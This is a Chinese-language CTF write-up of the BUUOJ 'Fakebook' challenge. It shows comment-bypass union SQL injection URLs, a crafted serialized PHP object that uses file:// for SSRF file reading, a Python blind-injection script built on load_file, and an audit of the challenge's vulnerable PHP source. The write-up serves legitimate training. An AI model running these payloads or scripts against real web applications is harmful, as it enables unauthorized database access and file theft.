簡介
原題復現:
考察知識點:SSRF、反序列化、SQL注入
線上平台:https://buuoj.cn(北京聯合大學公開的CTF平台) 榆林學院內可使用信安協會內部的CTF訓練平台找到此題
過程
分析了整體結構 點擊jion可以添加賬號還有博客地址添加OK之后會有ifram把你的博客地址引用到當前頁面 jion添加的信息點擊進入發現了get注入點 注入進去沒flag 不過在data字段下發現了序列化的值
/view.php?no=1 and 1=1 /view.php?no=1 and 1=2 /view.php?no=1 order by 5 //發現過濾了union select 使用注釋繞過 /view.php?no=-1 union/**/select 1,2,3,4 /view.php?no=-1 union/**/select 1,database(),3,4 //得到數據庫數據fakebook /view.php?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() //得到表名數據:users /view.php?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' //得到字段數據:no,username,passwd,data /view.php?no=-1 union/**/select 1,group_concat(data),3,4 from users //得到data字段下數據:O:8:"UserInfo":3:{s:4:"name";s:7:"xiaohua";s:3:"age";i:12;s:4:"blog";s:9:"baidu.com";}
到這里沒思路了 因為我用的掃描器都沒掃出什么 最后看wp才知道 robots.txt里面有東西(常識啊!!! 還是太懶。。。主要靠工具了。。)
下載源碼查看
<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } } }
根據源碼構造序列化
<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; } $a = new UserInfo(); $a->name = 'admin888'; $a->age = 12; $a->blog = 'file:///var/www/html/user.php'; echo serialize($a); ?>
O:8:"UserInfo":3:{s:4:"name";s:8:"admin888";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/user.php";}
在測試的時候我們發現這里有個反序列化 看WP可以通過這個為止將我們的序列化傳進去 系統將會進行反序列化之后我們傳入的blog值將會被傳遞到頁面ifram里面 這樣就造成SSRF攻擊!得到我們想要的頁面 我們可以傳入flag的頁面拿到flag
最終payload:
http://b79a2b86-e971-4c1c-9ada-9f681aebe66f.node3.buuoj.cn/view.php?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
查看源碼獲得flag
非預期解決方法
還是看wp的
因為沒過濾load_file sql load_file讀取。。。。。。。
腳本、
import requests url = 'http://6b666407-dc94-41fa-9666-7d5d977b469d.node1.buuoj.cn/view.php?no=' result = '' for x in range(0, 100): high = 127 low = 32 mid = (low + high) // 2 while high > low: payload = "if(ascii(substr((load_file('/var/www/html/flag.php')),%d,1))>%d,1,0)" % (x, mid) response = requests.get(url + payload) if 'www.123.com' in response.text: low = mid + 1 else: high = mid mid = (low + high) // 2 result += chr(int(mid)) print(result)
程序代碼審計
index.php頁面

<?php session_start(); ?> <?php require_once 'db.php'; ?> <?php require_once 'user.php'; ?> <?php $flag = "FLAG{flag is in your mind}"; $db = new DB(); $user = new UserInfo(); ?> <!doctype html> <html lang="ko"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Fakebook</title> <?php include 'bootstrap.php'; ?> </head> <body> <div class="container"> <h1>the Fakebook</h1> <?php if (!isset($_SESSION['username'])) { $message = "<div class='row'>"; $message .= "<div class='col-md-2'><a href='login.php' class='btn btn-success'>login</a></div>"; $message .= "<div class='col-md-2'><a href='join.php' class='btn btn-info'>join</a></div>"; $message .= "</div>"; echo $message; } ?> <p>Share your stories with friends, family and friends from all over the world on <code>Fakebook</code>.</p> <table class="table"> <tr> <th>#</th> <th>username</th> <th>age</th> <th>blog</th> </tr> <?php foreach ($db->getAllUsers() as $user) //調用db里面的方法 getAllUsers() { $data = unserialize($user['data']); echo "<tr>"; echo "<td>{$user['no']}</td>"; echo "<td><a href='view.php?no={$user['no']}'>{$user['username']}</a></td>"; echo "<td>{$data->age}</td>"; echo "<td>{$data->blog}</td>"; echo "</tr>\n"; } ?> </table> </div>
獲得$db->getAllUsers()數據之后循環 輸出在頁面之中 53行將數據反序列化序列化輸出到頁面之中 我們可以在首頁看到 我們注冊完一個用戶之后 data對應的是blog就是我們的博客 也就是說我們注冊用戶所填寫的博客地址存進數據庫時就被序列化了用的時候再取出來反序列化一下 展示在頁面之中
發現getAllusers()先追溯一下 在db.php頁面
db.php頁面 這個函數的功能 查詢數據表users 之后返回出去
join.ok.php(注冊頁面)
這個程序10行實例化一個DB對象() ob對象存在於 db.php頁面中往下審計db.php頁面之后再回來
12-15行獲取我們join.php頁面表單傳輸過來的值
17行實例化了userinfo對象UserInfo存在於user.php頁面之中往下拉先審計user.php頁面之后再回來
然后進行一系列判斷 可以追溯到user.php頁面中的對應函數 判斷博客地址符不符合正則匹配 不符合則彈窗!
第二個判斷isValidUsername() 這個函數存在於db.php頁面 是查詢有沒有這個用戶如果有則彈窗
第31行使用db.php里面的insertUser()函數將輸入插入進數據庫中
之后復合所有規則則使用insertUser()將數據插入數據庫中 追溯到insesrtUser可以看到將我們傳進去的$user變量里面存儲的是博客地址進行了序列化。
33行執行login()函數進行登錄
先追溯DB()對象 在db.php頁面
db.php頁面整體代碼
<?php require_once 'lib.php'; $mysqli = new mysqli('127.0.0.1', 'root', 'naiwjebfahjebfja', 'fakebook'); class DB { function __construct() { // $mysqli = new mysqli('localhost', 'root', '!@#1234!@#', 'fakebook'); } //查詢用戶的函數 public function isValidUsername($username) { global $mysqli; $query = "select * from users where username = '{$username}'"; $res = $mysqli->query($query); if (!$res->fetch_array()) { return 1; } else { return 0; } } //登陸的函數 function login($username, $passwd) { global $mysqli; $username = addslashes($username); $passwd = sha512($passwd); $query = "select * from users where username = '{$username}' and passwd = '{$passwd}'"; $res = $mysqli->query($query); return $res->fetch_array(); } //將數據插入到數據庫中 function insertUser($username, $passwd, $data) { global $mysqli; $username = substr($username, 0, 100); $username = addslashes($username); $passwd = sha512($passwd); $data = serialize($data); //將data數據序列化存儲 $data = addslashes($data); $query = "insert into users (username, passwd, data) values ('{$username}', '{$passwd}', '{$data}')"; return $mysqli->real_query($query); } //查詢整個users表 public function getAllUsers() { global $mysqli; $query = "select * from users"; $res = $mysqli->query($query); return $res->fetch_all(MYSQLI_ASSOC); } //獲取指定數據庫中的用戶 public function getUserByNo($no) { global $mysqli; // $no = addslashes($no); $query = "select * from users where no = {$no}"; $res = $mysqli->query($query); if (!$res) { echo "<p>[*] query error! ({$mysqli->error})</p>"; } return $res->fetch_assoc(); } //SQL黑名單 public function anti_sqli($no) { $patterns = "/union\Wselect|0x|hex/i"; return preg_match($patterns, $no); } } /* CREATE TABLE `users` ( `no` INT NOT NULL AUTO_INCREMENT , `username` VARCHAR(100) NOT NULL , `passwd` VARCHAR(128) NOT NULL , `data` TEXT NOT NULL , PRIMARY KEY (`no`)) ENGINE = MyISAM; */
user.php
簡單審計...... 看完之后繼續回到剛才的join.ok.php繼續設計
<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog)//當程序被實例化時執行_construct { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } //此處存在SSRF漏洞 如果我們使用file:///讀取文件將會造成SSRF漏洞!!! function get($url) { $ch = curl_init(); //初始化一個cURL會話 curl_setopt($ch, CURLOPT_URL, $url); //設置一個cURL傳輸選項。 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //CURLOPT_RETURNTRANSFER:將curl_exec()獲取的信息以文件流的形式返回,而不是直接輸出 $output = curl_exec($ch); //執行一個curl_exec會話 $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);//獲取一個cURL連接資源句柄的信息 if($httpCode == 404) { return 404; } curl_close($ch);//關閉一個一個curl_exec會話 return $output; } public function getBlogContents (//將當前獲取到的博客地址傳進get()函數里面 { return $this->get($this->blog); } public function isValidBlog () //判斷輸入的博客地址符不符合正則匹配 { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); }
View.php
頁面整體代碼

<?php session_start(); ?> <?php require_once 'db.php'; ?> <?php require_once 'user.php'; ?> <?php require_once 'error.php'; ?> <?php $db = new DB(); ?> <!doctype html> <html lang="ko"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>User</title> <?php require_once 'bootstrap.php'; ?> </head> <body> <?php $no = $_GET['no']; if ($db->anti_sqli($no)) { die("no hack ~_~"); } $res = $db->getUserByNo($no); $user = unserialize($res['data']); //print_r($res); ?> <div class="container"> <table class="table"> <tr> <th> username </th> <th> age </th> <th> blog </th> </tr> <tr> <td> <?php echo $res['username']; ?> </td> <td> <?php echo $user->age; ?> </td> <td> <?php echo xss($user->blog); ?> </td> </tr> </table> <hr> <br><br><br><br><br> <p>the contents of his/her blog</p> <hr> <?php $response = $user->getBlogContents(); if ($response === 404) { echo "404 Not found"; } else { $base64 = base64_encode($response); echo "<iframe width='100%' height='10em' src='data:text/html;base64,{$base64}'>"; // echo $response; } // var_dump($user->getBlogContents()); ?> </div> </body> </html>
24行接收get傳進來值
25行使用db函數中的anti_sqli()函數進行過濾 這個函數過濾了union select|0x|hex這三個 滯后使用getUserByNo()函數進行數據查詢 這里存在SQL注入漏洞
31行將查詢到的data數據進行序列化顯示!
67行執行user.php里面的getBlogContent()函數 如果返回404則頁面不存在否則使用iframe輸出到頁面之中 這里存在SSRF漏洞
審計完總結:view頁面存在get注入漏洞:通過sql可以簡單繞過黑名單限制進行SQL注入
join頁面存在post注入漏洞
在頁面中直接提交file///etc/passwd 因為有正則匹配無法造成SSRF漏洞 但是我們可以借用sql配合使用SSRF獲取我們想要的文件 本地序列化一個值然后通過SQL注入代入進去在位置4放入我們的序列化值因為位置4有個反序列化所以我們序列化的值進行反序列化的時候就可以成功執行file///etc/passwd 。
參考學習:https://www.cnblogs.com/20175211lyz/p/11469695.html
https://xz.aliyun.com/t/2607